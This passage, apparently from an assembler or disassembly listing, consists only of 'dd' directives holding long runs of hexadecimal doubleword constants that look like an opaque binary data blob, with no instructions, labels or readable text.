		dd 0C8B56086h, 81B98B60h, 7DB60EB7h, 0B70F0E21h, 92761F6h
		dd 62F458Dh, 5E34F56Bh,	4293CC4h, 8C0B5009h, 1A616898h
		dd 58FF6480h, 0FACF2735h, 13258925h, 6DBB0009h,	603320A7h
		dd 612002B8h, 0C68B3B22h, 5C719A4Ch, 5BC8B42Eh,	5E615664h
		dd 7489C8C3h, 46C01599h, 1E2BC356h, 0CF780C52h,	70E10DD7h
		dd 52A19D31h, 64615682h, 5F719BC5h, 91DCA7Eh, 252767A8h
		dd 326C3180h, 0F251BD80h, 85A38889h, 0E9F5840Ah, 0BA22C89Fh
		dd 33709C0Bh, 11851DDBh, 68F28019h, 58CF57ECh, 29107563h
		dd 5894C31h, 0C033FF78h, 19238A3Ah, 0D5470C00h,	29019261h
		dd 0FE4E860h, 0A2C05CF7h, 8B664B38h, 5359DA18h,	77F8E8FAh
		dd 4061003Ah, 0B073F0Fh, 5458F64h, 7A4CBA3Eh, 0BD110Dh
		dd 0B0301CC3h, 0C79F6096h, 0B922FC09h, 1ECBC403h, 543B70Dh
		dd 0C1FB835Dh, 1315845Dh, 4C00E553h, 279F806Ah,	0F4C0587Ah
		dd 0A4CFE322h, 11530CC8h, 0B0EE798Ah, 0C70C0C1Ch, 0FF19A481h
		dd 4C8303CFh, 0A00415B8h, 0A08BC3A0h, 50550CC2h, 95D66E8h
		dd 3517ED81h, 14837C25h, 0D832881Bh, 5D198919h,	8B0F4F89h
		dd 85104DC4h, 2B042601h, 882C218Dh, 45D40DAAh, 8ACB04BBh
		dd 458350CAh, 0F3C8CDE9h, 0A91D4865h, 85C181B0h, 331BE512h
		dd 608AD75h, 0C358C250h, 2C4423E1h, 5040B044h, 0F40D00C3h
		dd 0AE749F17h, 8505454Bh, 605AB2B8h, 2CC3FC01h,	15ED8BF5h
		dd 48619D74h, 0B88078B9h, 4855D704h, 81640500h,	65BB0DF7h
		dd 868503D4h, 34B640BAh, 0E8EAB40Ch, 0EEED0C5Fh, 586802FBh
		dd 0A75564Dh, 4B2D463h,	2E540104h, 88158EE5h, 0FAE2C01Bh
		dd 6707172Ch, 60D1D48Bh, 1D81FC14h, 0E48761CFh,	6FF5B4DEh
		dd 15958D22h, 89CB7E4h,	7A1C465Eh, 0F27D6001h, 48722AE0h
		dd 0F02E51D2h, 2184043Dh, 26080739h, 20875CB6h,	0C0B2C708h
		dd 237DF181h, 436A4424h, 0E980CF18h, 50C2AB3Ah,	382E6347h
		dd 0ADF03538h, 7845C001h, 70016563h, 6E6F6974h,	66CD4920h
		dd 516D72D8h, 61410C61h, 73E5656Ch, 0DF202CCCh,	4F641D08h
		dd 73BE6874h, 338F6C36h, 67F36977h, 64D363F3h, 287D73FBh
		dd 6136F7F3h, 0F1526440h, 2A9D2EFDh, 5420066Dh,	6B761668h
		dd 757F797Bh, 40D0A37h,	286301FAh, 73463070h, 52544362h
		dd 0FF2B4C3Ah, 699ED1D9h, 64971EB3h, 0A18FA06Ch, 8795470h
		dd 7F69796Ch, 72610A62h, 20362964h, 65563E42h, 3F9973A9h
		dd 25BC3DBFh, 1431EE5h,	496B6387h, 640F524Eh, 47554F38h
		dd 72500F54h, 421DF46Fh, 323BDA0Fh, 69E6030Fh, 0F3D4374h
		dd 95B71E90h, 188E1A50h, 0F4811E3Ah, 631CB9BDh,	12D10FEh
		dd 0DE129A48h, 50610CB0h, 6584480Eh, 0C3802568h, 1963EE78h
		dd 0AD369924h, 7A3190Ah, 164CB32Ch, 0C324A25Ch,	0A56559A5h
		dd 30E2977h, 38A74425h,	0B3648D6Eh, 648DBB38h, 8DD938BBh
		dd 0C238B764h, 38AB648Dh, 0AF648DCAh, 4885D138h, 2F5C20Ch
		dd 0C4A2E902h, 0DDBD122Eh, 953A3219h, 1D890DA2h, 8A118510h
		dd 1C99CF60h, 76C28180h, 0DF6382F8h, 5B25234Ch,	34529C21h
		dd 0C3402881h, 0FC893BD4h, 3D9E2991h, 40480CB4h, 9D8B8A55h
		dd 4CC38B13h, 659AB1C2h, 8501131h, 549087A7h, 5879B388h
		dd 9087B708h, 0A9AB885Ch, 0DAA4FDCh, 1468D1AFh,	995ACD14h
		dd 0AB0CAF0Ch, 21B74386h, 0C8A790B3h, 490AA8A3h, 0D58A1C9Dh
		dd 4B54707h, 2D061403h,	0C4EDA0E1h, 0CA406A24h,	5A19BF24h
		dd 25BC1B73h, 8BB09801h, 0B3EB7EC1h, 0BE9508Eh,	6012599Ch
		dd 4E194687h, 803AF645h, 464C261h, 69A0E634h, 814C860h
		dd 46ABF610h, 0C324614Fh, 2186F8E9h, 8F94B58Bh,	36E68138h
		dd 0C9C618F0h, 3668E833h, 7C9EC681h, 98B53B86h,	860F1B39h
		dd 20B151E9h, 0CD22E5D8h, 506F80CFh, 24C88C66h,	0C00A2403h
		dd 0FD2A201Bh, 842FAC3Fh, 4D88858Bh, 0A181286h,	673F10DBh
		dd 0EC717458h, 0C6246404h, 82AA53CFh, 0E1820814h, 6A721DCDh
		dd 2E4C013Eh, 0C004B0FEh, 10B4531Ch, 62897B66h,	5B0209FCh
		dd 5D0953B9h, 0A82074Ch, 11E02143h, 0EF5330BBh,	63E380CBh
		dd 3884C303h, 0F3764B42h, 0C59B1C7h, 448DE66Dh,	4898D1E6h
		dd 6AB89C5h, 24C718E3h,	0CE9A5E9h, 0BDCA0123h, 0A364A25Bh
		dd 3E806042h, 1031EA49h, 7B7A1BBh, 1B0763Ah, 0C35129B1h
		dd 0C88AAC00h, 0E432C302h, 0AACB0CD1h, 140D20Bh, 640A4A88h
		dd 5BE5D6C9h, 50DDC323h, 1C521011h, 0C157D48Bh,	0C033087Ah
		dd 0AA2140E9h, 58E13F80h, 5A545F8Dh, 513753BCh,	0DB253256h
		dd 0AC3D83B2h, 0D3D1D800h, 5ABCC381h, 0B0374637h, 0B49469Fh
		dd 8BE84497h, 595EC30Eh
		dd 7B608A5Bh, 8C11E962h, 0AD2AEA2Bh, 23C01077h,	0D4DF90E7h
		dd 0A8D80C0Fh, 0A6293C04h, 0A83948D4h, 609A254Ah, 3D858F60h
		dd 640A21D2h, 0BD1F0635h, 38890D22h, 7C3F23E9h,	408BC794h
		dd 0F317C0EEh, 0A4899B46h, 7F148621h, 2846AB3Ch, 0F930521Eh
		dd 0E91AAE22h, 0DF296987h, 80727604h, 0B80C7A4Dh, 45CAB20Bh
		dd 0E055E4A9h, 307206h,	3B46C8D1h, 0F1820FF7h, 0EA818DA4h
		dd 0D9284B08h, 284B284Ch, 53515682h, 2C021342h,	674C0C4Ah
		dd 0C92D3C28h, 40A44h, 32133498h, 8C3C1D8h, 67AE1C90h
		dd 595B1CA0h, 1375E51h,	83CC598h, 81095C71h, 880CED8Ah
		dd 1542255Dh, 237D103Dh, 0C079E881h, 0A716700h,	0A7765225h
		dd 87378807h, 56069BFh,	44A311h, 0BE58F9D1h, 1EA1404Bh
		dd 12C08108h, 6653005Fh, 0BF59CB8Bh, 0F28C4A4h,	0E9307C81h
		dd 1FC00B0Eh, 8BF70016h, 91FE2BC4h, 3C02C1B0h, 34FF2D42h
		dd 32B6607h, 0AF6AF6D1h, 0F3F8E06Bh, 5A005D83h,	81D8BF0Fh
		dd 7DE492F2h, 400DB497h, 0D5C9E688h, 0BF20B360h, 0C0444E10h
		dd 4DCCA0Ch, 0D9008B26h, 9CEBBE52h, 0F68F759Dh,	84A638h
		dd 0A3AE7CB4h, 0F421063Bh, 61B76B00h, 8974E0DCh, 1B9B0143h
		dd 811FB55Bh, 5976F4EFh, 9C6068F3h, 17E81A00h, 3B27C633h
		dd 3681B32Bh, 0C781DEB5h, 131A85Dh, 0FA510844h,	9530FDBh
		dd 0C5FD58E1h, 94A1C0FFh, 3EE1574h, 0F180663Eh,	0A3875163h
		dd 0CEF2291Dh, 0B6439h,	0E44B3895h, 0A3ADD2Eh, 7660ABEEh
		dd 4FDB00B1h, 1C8D3193h, 65E86C00h, 0DD28E341h,	0B56200C6h
		dd 0A5E14CC7h, 5200F040h, 34B0DB2Dh, 18CC8573h,	20FE115Ah
		dd 5814A928h, 0F7207BB7h, 25605534h, 353A7DE7h,	6F30604Ch
		dd 380EBBAh, 0D90C8BC6h, 830A3CEh, 0B20A2157h, 0E34006EBh
		dd 0E0D6AF34h, 2A82EA00h, 0A78C288Dh, 4F28C0E4h, 161E71C7h
		dd 0F9646E03h, 306C664Bh, 0A621FB08h, 49EA1E79h, 0A8C77100h
		dd 6FEE11A2h, 0D3921481h, 0D20184C5h, 5C4E30F0h, 5EA8CBA1h
		dd 6015AF2h, 27E749DEh,	99804259h, 1297E819h, 87180E15h
		dd 6A204FDFh, 0F76B1E81h, 0C0B406B7h, 280018DEh, 732414FDh
		dd 19C31354h, 80B5C2Ch,	9E2180C6h, 0E0E3241Ch, 1F55008Dh
		dd 7FBA9F0Ch, 71C04534h, 6331924Dh, 26F8D7h, 71F6BF0Dh
		dd 0EF102921h, 0E84FD902h, 4DB7ADh, 7201CEBBh, 41F0F130h
		dd 18DA664Fh, 209098D3h, 9018EF5h, 696ED250h, 0A84249DBh
		dd 1E753088h, 446E1211h, 0A280FD88h, 837F1E7Dh,	0F15A0178h
		dd 0BD56D099h, 20CDD574h, 2D32A385h, 308E58DCh,	14111E73h
		dd 0FA88746Eh, 1E7BA480h, 141BE6h, 3D783112h, 48524022h
		dd 8D48h, 0BC3049C0h, 0DF4B5127h, 0A05F00E1h, 0D7832E52h
		dd 0F2ACE855h, 19793841h, 0C684F340h, 113893ABh, 0B60E0053h
		dd 201AEEBh, 0DB500C0h,	0F9CD4246h, 54114CC1h, 9843E76Ah
		dd 3E30F3A2h, 85930087h, 0D275A3CBh, 21C6F2CDh,	8270Fh
		dd 0D69903E7h, 2B34A05Eh, 156E5C07h, 740081C8h,	1849BEECh
		dd 39E6C5D2h, 1964A31Eh, 0B9607EE8h, 0C62383EBh, 561193h
		dd 12EBB109h, 1F8D46D8h, 666DE974h, 280C098Dh, 0C511601Dh
		dd 0FFD79280h, 3530D007h, 68AB695Fh, 0F3B100D9h, 0C27AC9E9h
		dd 0BE781862h, 0BA37B003h, 237630C4h, 1201B270h, 23547524h
		dd 9888C418h, 21240B1Ah, 6B56929Dh, 0C016C503h,	522100DAh
		dd 1C187470h, 7201EAF3h, 88CB95Ch, 0A7C82A83h, 0DD29C0D8h
		dd 0AB3D96F5h, 0EC647804h, 5C8118D9h, 60DE1113h, 0AA27CB08h
		dd 443847F8h, 727F60FAh, 0E1EC0093h, 0C23058D9h, 0BB0648A4h
		dd 0D6C121C4h, 76530089h, 6C152A11h, 96625498h,	84BC4932h
		dd 0BF6078ECh, 0C62385EBh, 5411A3h, 82EBB70Fh, 241D724h
		dd 0AFFF953Fh, 1846C4D2h, 0C28E9A02h, 60ACCB5Ah, 635727D4h
		dd 63404149h, 90302978h, 955CA1DCh, 0C4A801D5h,	56CF184Ah
		dd 8F383187h, 0A38A2829h, 0A1CD0CBBh, 19809064h, 0E60F6B27h
		dd 0C67C15D6h, 30AB9844h, 4D71F75Eh, 1D3D1BB8h,	2E38008Ch
		dd 5627CA88h, 0F821D44Ah, 0D33AFA01h, 80C9C186h, 0B4929971h
		dd 3A878B19h, 593E6FD0h, 0B061E387h, 38A7D00Bh,	2100EB09h
		dd 0DD4227C4h, 0C02B0F1Eh, 8C840881h, 9106A1BEh, 99A9E36Bh
		dd 21326708h, 6020FE69h, 279CCAA0h, 0A61AA10Ah,	2B808CE8h
		dd 0E391F52Dh, 0C1CE00A3h, 39E19DBBh, 820011FEh, 3C8F5D29h
		dd 0B07F3ECFh, 2C022220h, 0A0B1D4FAh, 0C31C5644h, 0D9265F8Fh
		dd 58A18005h, 0D480E076h, 0E0E7AC2h, 0D7E14A6Bh, 8ABF14A5h
		dd 873F20E4h, 6FEF8820h, 181188C8h, 0B88C8281h,	3331C6A1h
		dd 8C8A6F10h, 0F00F8F03h, 8AC6B8AFh, 0D1004199h, 0E1C3D210h
		dd 0ACE390ABh, 6704397Ch, 0F9401A92h, 307B6482h, 8611EBBCh
		dd 5B88BBC6h, 0EBB400BDh, 0C142F90Ah, 0DE51C0CFh, 0F1194E99h
		dd 0BF07DB74h, 230318D6h, 56E42A50h, 0E46E58B6h, 8C762848h
		dd 71241604h, 0C7620354h, 241E9C20h, 0A8600D4h,	9306D672h
		dd 2F00A981h, 1FA3457Bh, 0A328EFA4h, 0C109186Ch, 1DBD11A6h
		dd 2829E824h, 5E721900h, 15A3C38Dh, 0C4FAC658h,	0AC546203h
		dd 0D5E0E149h, 28376FC4h, 0D78040CDh, 13626C29h, 1A6AC621h
		dd 0F40228A8h, 0AC28C732h, 0BD28D211h, 48D712A8h, 2E0440EAh
		dd 0B022EC0Eh, 544E1800h, 13E91B3Dh, 0A181005Fh, 0E5B54DAFh
		dd 6E0015D9h, 0E10D21ADh, 2EFA562Eh, 6BE7h, 29CDE626h
		dd 0DF145A6Eh, 414452C4h, 0CA56D828h, 30C06AE8h, 7648A524h
		dd 0C680C1D6h, 20F4B972h, 0A2F8A16Ch, 62B099C2h, 0EE7848C5h
		dd 0C1FCE458h, 0F08F1C18h, 0D71BF495h, 0E5AE6814h, 0DBC88E94h
		dd 0C60DE130h, 41818DE1h, 0DD2358A5h, 1070BE2Eh, 0C33DCE41h
		dd 28F9A61Fh, 3A0E10CCh, 65400CDBh, 7E34E80Bh, 22D5060Dh
		dd 0C06D1327h, 0E7100E00h, 5D4018B2h, 6129C809h, 246F9542h
		dd 75E210Ch, 13275512h,	0CF43606Eh, 760011Dh, 76EF0D0h
		dd 2041F0F3h, 0A100BD90h, 66F511C0h, 16BB714h, 49553E46h
		dd 3074D9B8h, 160FF767h, 0A0E1C00Ah, 9FCA29E4h,	0FCD0014h
		dd 0CC6DB8D6h, 0DA00E799h, 43315E98h, 1F60ADFh,	0A2D408FEh
		dd 0D7730B39h, 7DA2900h, 0A3B39179h, 0D9DE1E51h, 6E03C617h
		dd 0B1004047h, 0E034D8A8h, 0BE19D6h, 9B09752Ch,	385D9A3Bh
		dd 0EA14BF00h, 2AC78B57h, 0FECC007Bh, 3FC213C9h, 2000F04Dh
		dd 6BD5D333h, 84EA28h, 6932536Eh, 61E904C0h, 7F14501h
		dd 0E198AFFAh, 0FAF04EE0h, 0B78D0091h, 78F5DA8Ch, 0FB765BFCh
		dd 807FFA38h, 0C27D873Fh, 21E98E6h, 18857C26h, 686BAEB7h
		dd 0E0F358C9h, 9414711Ah, 80A47988h, 0B9485439h, 193880D1h
		dd 829C4F00h, 0E4726FE3h, 510D00BDh, 3B2C5CC5h,	0D50C4223h
		dd 96100B09h, 0D87800F8h, 0B1127E63h, 2D07546Dh, 0E805CF68h
		dd 0A0882C32h, 0D2BBD8B8h, 9BB079h, 0AFF67A19h,	0EEAE63CEh
		dd 1FF17B00h, 0E06CC0E7h, 0E3E4E716h, 0C520582h, 450F08h
		dd 7ADA7FD4h, 0D00CDBFh, 0D346C650h, 855F67h, 7F93D0E6h
		dd 1478B101h, 0F1004F73h, 0C7246F59h, 0A06CCBBh, 0CB7386BEh
		dd 0BAAD00ACh, 0F7DA50A4h, 27321700h, 0BF9E3C7Dh, 29FB0016h
		dd 0E56EABB8h, 6F04365h, 1FE44F00h, 0C252D0F4h,	90946059h
		dd 25EB10B1h, 0F355CF00h, 0AB1F61A5h, 76A004AFh, 0D77EA6BBh
		dd 301907D4h, 0E3CE57D6h, 4700D375h, 0E1AA2A6Ah, 734BBCh
		dd 5CDE6EDDh, 69DBBAF2h
		dd 0D61EF30Ah, 1C0E9CCFh, 2C0BC53h, 9ABD18EFh, 91501F6h
		dd 9B3DE0C1h, 1358203Ah, 2AAECF1Eh, 1A003953h, 0E4CAC88Bh
		dd 0E82E006Ah, 0D3B2F679h, 0D50063EDh, 82D262F1h, 6C1339h
		dd 4DFC44A4h, 0FEF3EB8Ah, 48AEEE03h, 0CEEACBh, 0B0187880h
		dd 0FD708492h, 0E600B87Eh, 2AEAD18Dh, 33CFE13h,	5A2E9901h
		dd 0F09F9102h, 62194ADBh, 1CE81CB2h, 35003492h,	0D8A54C58h
		dd 822F7Bh, 0E50C18FDh,	64EC3895h, 5073DD00h, 3613A7CEh
		dd 31411320h, 0FF084015h, 0CD99066Fh, 4FCC7712h, 8A3C3C0Bh
		dd 18803C2Ch, 0DCE05D2Fh, 98750005h, 7F38F53Fh,	5C002EF3h
		dd 639E56FFh, 4CCAF7h, 0A2BCAD2Dh, 33723F4Fh, 0FD095092h
		dd 0A07D977Eh, 8865BD00h, 0C7BF79DDh, 61035110h, 0F36C492Ch
		dd 0A58D3007h, 0A19FCBEFh, 0C7F4F337h, 4595F0h,	6A66949Ch
		dd 1276D197h, 8C874028h, 37980504h, 0FE00DF96h,	0D2FFCB90h
		dd 0D0ECA900h, 0B38F4C31h, 0AC713F1Eh, 97973h, 8751F070h
		dd 0A7DB5AA4h, 0F5BCBA00h, 949D9945h, 0F4509064h, 0C351282Dh
		dd 0B08C80AFh, 6DAB4410h, 9F39A91Fh, 0ADC2C740h, 0E0F96870h
		dd 0E77E8Eh, 5923E4F7h,	9A2E53FCh, 33450500h, 0F1439997h
		dd 748D4846h, 3D018603h, 11003C27h, 426BCB4Ch, 58322BBh
		dd 0CAE78111h, 101C802Ah, 0D177F91Ah, 1F0BE601h, 7D58A898h
		dd 9AA05FF8h, 26AA00B8h, 5DC53806h, 8C1D9561h, 2F09407Ch
		dd 3BC4A0B3h, 5CC83C80h, 1400C152h, 6A77BB54h, 0C6008564h
		dd 0A6AAD038h, 244319h,	0C9EA74E3h, 1113E41Ch, 0DC81C000h
		dd 297CB173h, 234BA8Ch,	0B0F41A52h, 4461D906h, 0D0E0DBB5h
		dd 0D4005C40h, 66E11C20h, 4CCB8F79h, 2C0AD0CFh,	0ECEF8Eh
		dd 0B435D216h, 37005D6Ah, 69B39A7Ch, 8E50A2h, 51A8E0F9h
		dd 81631A90h, 25B22148h, 87148083h, 7DD75ED8h, 0F4BD00A3h
		dd 9B9A6444h, 0FD007967h, 0DD2104B4h, 7998554h,	1F2BE892h
		dd 0F3C957F2h, 0DCC8ADD4h, 8A0F4B35h, 0A5757CBEh, 6C802A70h
		dd 0AE379B8h, 5FD02420h, 0B4D980ACh, 0E75E4173h, 26474B02h
		dd 4032257Fh, 8D5560h, 0DD134E70h, 144F3E20h, 21D8C300h
		dd 783A7FEFh, 0D7C03F03h, 3D665400h, 0CD1ECBFh,	0D601AC00h
		dd 0F1625130h, 1F3B3EEAh, 0EF7F5000h, 40658215h, 4860C63Eh
		dd 760379B8h, 3D573E0Dh, 0A27803BEh, 9A494B3Fh,	0C07BF7E0h
		dd 3618D87Bh, 1C20C89Ch, 3EA73FC6h, 24A4CB87h, 8142504Ah
		dd 5C7EFC28h, 89F43304h, 0D089F0CCh, 80E204C2h,	21B32CFEh
		dd 5F8A6600h, 0FA5A0340h, 0A46400C2h, 0D4B1DC0Bh, 0C7287CC8h
		dd 960190CBh, 0DAFAA19Dh, 5C306F2Bh, 551600B1h,	84FFA6B2h
		dd 0D0004753h, 836568EBh, 1640D3F7h, 14E9F3h, 871AB8B4h
		dd 0A1076D37h, 0F6311847h, 75AC0440h, 2B1C17FFh, 0AEB900A6h
		dd 6AEACEC2h, 0F0635000h, 2657F8F2h, 8F350138h,	24AF5B33h
		dd 3E4C245Ch, 545A7800h, 757B5F1Ah, 1EBC00FBh, 3B87DE18h
		dd 0FF00BB35h, 0A73CD5DBh, 920916h, 702F3621h, 5FCED003h
		dd 0E8F36400h, 0F6B84231h, 39A87C09h, 0BF383758h, 400CD500h
		dd 8BF72E9Bh, 95210500h, 89724B7h, 2F881D45h, 0AF8040E5h
		dd 1ECFA55Fh, 7E02F4E0h, 0C9319F4Eh, 21C8402Ah,	0D2262686h
		dd 1B580013h, 5BFEB01Eh, 6CAB100h, 0A1D37ECDh, 208B185Eh
		dd 7FBC5837h, 0DEBB4102h, 50514A74h, 7EA913F8h,	96B84076h
		dd 0CC1529EAh, 73C38000h, 9568ED5Ah, 6FA0075Ch,	7532CF1Eh
		dd 3A9442ECh, 744882B1h, 0D1EC7960h, 0B61ECB00h, 651C06C1h
		dd 775500ABh, 0A93CC856h, 0D44AF109h, 6642F402h, 8BAC80FCh
		dd 0FDBF92Eh, 0D82C2A19h, 6B9D61A0h, 411CD5F1h,	36003DB7h
		dd 0F94568C2h, 0B2950F0Fh, 0E42058ACh, 5C0CE612h, 0BC0036FEh
		dd 2040B48Ah, 7C3FA1B5h, 5E7B1Ch, 2EA9C9F8h, 0F39F863Dh
		dd 737D4E75h, 0AFE3A51Fh, 40BB6B81h, 9887708Eh,	83C37B54h
		dd 11204677h, 0CDB4A43h, 0A92056B8h, 394B1920h,	0E1C827DDh
		dd 0C6E4F01h, 0D0E3CCF9h, 0B10F16D9h, 4E6BF1A9h, 684D2050h
		dd 0BCED569h, 37C320A6h, 50223886h, 8B5C7108h, 6C4F03E3h
		dd 6E91F91Ch, 408CF1CBh, 0D9EB640Ch, 0CFBC800h,	1CA2A681h
		dd 0FDB00020h, 0D8F4366Ah, 1D0052C7h, 0F7300F4Fh, 16DB6184h
		dd 6EDE449h, 48790EB6h,	48E73Ch, 0DE0CC33Bh, 1DA3DB39h
		dd 3CF6BA1h, 0D025CE0Bh, 564E2900h, 6A27E101h, 0D1642786h
		dd 413EA484h, 0E843A713h, 0EC54C8CDh, 9F48AC19h, 626CF0h
		dd 32664C9h, 0C9BC625h,	0F2EC13Bh, 5CCCDD20h, 62409402h
		dd 0FEF058E7h, 0D708C134h, 301A7167h, 0C74EA4C5h, 43E5074h
		dd 0D822C115h, 0A8BC3415h, 63202709h, 0EE888460h, 88038588h
		dd 2780D4D9h, 296664E9h, 1AD21A4h, 0BB22CD12h, 57D8E08Ch
		dd 88E90075h, 0AFF64878h, 29762D1Bh, 900C598h, 0CE4DB968h
		dd 0EC3DFBCh, 0A1FDA62Eh, 809C4100h, 0BE011F61h, 4609A862h
		dd 2C60270Ch, 0B755006Ch, 23D52919h, 88B8C806h,	330073F0h
		dd 0C4BCDFC3h, 613593E4h, 4409F11Ch, 0D5DC6411h, 0EE2C6B00h
		dd 0D369DE7Bh, 0BDECD8h, 3F687717h, 0B7C37D01h,	0E4135Ch
		dd 0E8D47435h, 17039A6Eh, 90D81AB3h, 0DB47E620h, 2AAFFC01h
		dd 601D974Fh, 4D010033h, 913F6C5Ah, 0C22C43F5h,	5CA40BBAh
		dd 7ABC40C7h, 0C2E288h,	8DD2357Ch, 0F210F7B6h, 3A207D60h
		dd 2E6581F8h, 0EC39B8h,	1D0AC9B1h, 0EB000666h, 0EC2A6ECEh
		dd 0E852648Ah, 83390046h, 0A953E365h, 83B033D9h, 0F33F1700h
		dd 98F21B74h, 1E431CD6h, 0DDE38011h, 0E80CAE62h, 8D3AB600h
		dd 0C58E4453h, 1214049Ch, 90911507h, 21014E1Ch,	8A576B00h
		dd 7AAA03C0h, 827F0087h, 3B58555Ah, 0DA013AC4h,	6633B431h
		dd 6A9F2D0Ah, 0D8188026h, 741FF8A3h, 0ADA8A4Ch,	0E8EA2163h
		dd 93894900h, 5968B4h, 0BF255637h, 0C6298ED1h, 0CA93017h
		dd 0BCFADC40h, 0A61016h, 87313793h, 9AD4DAF0h, 0F1F7DB00h
		dd 91973347h, 0D2FB00F8h, 0F2655EC5h, 20FB3CEBh, 0B8001B46h
		dd 86FDA4AFh, 2CD5B274h, 144D314h, 0A0DC7B9Ch, 7C289Eh
		dd 1A818B62h, 926094D6h, 21FF251Ch, 8870BC05h, 2A542910h
		dd 0BC09DCF8h, 4146B28Ch, 1981CEB8h, 3339993Eh,	5F118C0Ch
		dd 4B5027h, 0DD5CEB36h,	0CA15DC7Ah, 0E754532Eh,	0E4406B1Eh
		dd 0D3D9D10h, 381CFADDh, 570061AFh, 5D88C739h, 0CC01F34Bh
		dd 0D744BC24h, 0B9807276h, 1713F886h, 342E91FAh, 0D700B7E8h
		dd 0F45926CBh, 194EA8h,	0EFB998ACh, 30062FCh, 0DD44D28Fh
		dd 0F4A5B1ADh, 839B004Ch, 0EB6975E2h, 0F0044670h, 0C37898F8h
		dd 0EAF264B4h, 339A0092h, 0DA345201h, 87126442h, 400AF82h
		dd 247E2102h, 9FCB372Ah, 369010D8h, 3500A462h, 6CB8AF98h
		dd 301DA1F2h, 0AB562587h, 7C0029FCh, 0F6BF8B5Fh, 1E316297h
		dd 40453C26h, 2D9E48A3h, 5D00CBE7h, 0E0430738h,	41092Bh
		dd 0B9948AA9h, 2698876Dh, 7BF2FB07h, 0F3204330h, 41EA2Ch
		dd 0F00295C1h, 0DB597D58h, 0FDEC9400h, 4C7A9EF8h, 883E00CAh
		dd 4DEFDE1Bh, 0AC005623h, 0B052C151h, 4C0CB6h, 0AAEE684Eh
		dd 0AB1AFD6Ch, 442C29C3h, 0CFE8D0B0h, 0E6E304B7h, 0C07759F9h
		dd 92A8A07h, 70EFC900h,	5344452Ch, 0CCA60935h, 0FB0063BEh
		dd 5E3F4160h, 75F53Dh, 0B0E6EFC7h, 3DBB0C2Bh, 0A880C4A5h
		dd 30D40ED1h, 241F81D5h, 0F500639Eh, 7E08CFAEh,	8BD300FAh
		dd 0E1423CFEh, 9C3E604Bh
		dd 414D8070h, 9DEF3206h, 0CDE40E20h, 1FE0DF83h,	0C30D72E5h
		dd 26101B00h, 61BF5F65h, 27FA20h, 11D2F0B9h, 59F4938h
		dd 0AA5E2E00h, 0A802CE33h, 1C260034h, 0C21F8F2Fh, 7C00DCB9h
		dd 597A1EE8h, 37C14Fh, 6F2C5061h, 30B0EC6h, 8DA3641Fh
		dd 0E958A0EFh, 782F06Bh, 0F718DAD3h, 1044B127h,	0E1B02085h
		dd 2634E04Dh, 403EA456h, 1B660025h, 0D0AA6D0Ch,	9300CAA7h
		dd 317E8A48h, 92854E0h,	9275366Bh, 72CF000h, 4CFE78E7h
		dd 0A0A25F3Bh, 67EF1EA1h, 7D8AC020h, 0F13B8663h, 0BCB18C0h
		dd 9CFC91h, 963D5DFDh, 3488A4Dh, 0A095C500h, 0B6DF3A12h
		dd 9B1E03DDh, 0EB15E737h, 3C2BD11Fh, 0E5C77BC0h, 0FE81819h
		dd 8B3F66F8h, 0A8D859C0h, 29F4B985h, 0C7EFD0Bh,	36B3804Fh
		dd 79B0516Dh, 913004D1h, 0B4122EEFh, 88982338h,	7C51C14h
		dd 5431097Ch, 1D38A095h, 135ECF6h, 6ACA05FBh, 64AD454Bh
		dd 0B23F2D30h, 0CBBB807Eh, 0FC393090h, 4F07013Ah, 918EB414h
		dd 0AA3BE424h, 8CB26AFAh, 0AAE0EE3Ch, 0C002E8EFh, 0A3FF5C21h
		dd 0A8C0C40Eh, 0A1E054h, 2B4AD4F7h, 0C5ACAA97h,	8D89B500h
		dd 0EB7354E4h, 411D048Ah, 0C34448F3h, 0DB808018h, 3CBAD06Fh
		dd 137D973Ah, 8440E21Dh, 8255E56Ah, 5D74944Eh, 3CA1B600h
		dd 0C42C26CEh, 0A434A9E1h, 0EB0CC84Ch, 8C6810Ch, 0D3694BB5h
		dd 1011D364h, 0DB3CED38h, 96278A00h, 6C404575h,	0CCF91412h
		dd 885CF800h, 0FB0C5CAh, 82D66EB9h, 54820B8Fh, 0B8C3C36Bh
		dd 4F0659A6h, 476479B8h, 1E4E0F81h, 894667Bh, 0EEA12C00h
		dd 0E1A3BE14h, 0AB46B3Ch, 6024CE3Eh, 0FBC81E90h, 8CB0C418h
		dd 0A90614C6h, 0CC30101Ch, 0C3435AF8h, 0F134740Bh, 0F6C480C9h
		dd 7F35D8h, 656AE990h, 0DB2EA998h, 0A30C4C7Eh, 0B13EA615h
		dd 0C3712647h, 0F73D0041h, 73935054h, 1C025AF4h, 0CC161D0h
		dd 0FD80E131h, 0B5A860h, 0C369333Bh, 0A64F014Ch, 8E93EC00h
		dd 5D32EFB7h, 71B430FDh, 0B94C9030h, 0CDE41073h, 607F744Ah
		dd 0FE0447h, 0AD6EC5D0h, 0C75088C1h, 2AEDB518h,	26A600ECh
		dd 8FB02005h, 498EF800h, 626AC1E1h, 0B5D70C1Ah,	4A29B3D1h
		dd 88742284h, 65117E42h, 22847AB1h, 52428BD1h, 0E6C5B13Eh
		dd 2F85D213h, 0BBD19F70h, 0BD089621h, 84BA9081h, 0A15EB969h
		dd 90BC4C08h, 83DB848Eh, 9142AE48h, 21E224BAh, 0D2128E6Ah
		dd 24C6B411h, 44A827F6h, 0B76621C6h, 7E10CA12h,	8EA898Ch
		dd 0DEB14446h, 8A722284h, 4041E20h, 0F0F6DC9Ah,	2754A046h
		dd 0B4BA1016h, 51572300h, 7753E7h, 0B21B9871h, 5285FEA5h
		dd 80DC4B3Eh, 0D8BB6A6Ch, 29D040Fh, 7512D426h, 64C0C974h
		dd 0BC00DB3Ch, 422E01D5h, 9BDFE5h, 996BF3D4h, 25D61106h
		dd 4473E00h, 0EE22D9C3h, 0F99C0016h, 7827292Ah,	55007C8Fh
		dd 244FF5AEh, 39994B8Bh, 0EF823462h, 602D8C37h,	3DC540C0h
		dd 66FEC200h, 0F4F3FDDCh, 476A00EEh, 0CD329BFAh, 17005B1Ah
		dd 1C4EE4A8h, 45BD76h, 0CF3582C4h, 7028EA9Fh, 0D71EE100h
		dd 6C375DC0h, 52101A1h,	7F6DC731h, 4ECBE0E7h, 9AC38400h
		dd 2F871258h, 4B7C92DBh, 0CD404B48h, 4180588Ch,	653044F2h
		dd 0C50D50BBh, 39F28Ah,	0F8F5293Ah, 7001AC81h, 0DD8F4E00h
		dd 49367672h, 30B76068h, 1764FE18h, 3ACD749h, 6AAC73C8h
		dd 82B00542h, 13DABD70h, 5DED02ACh, 2050F3F5h, 64A5202Ch
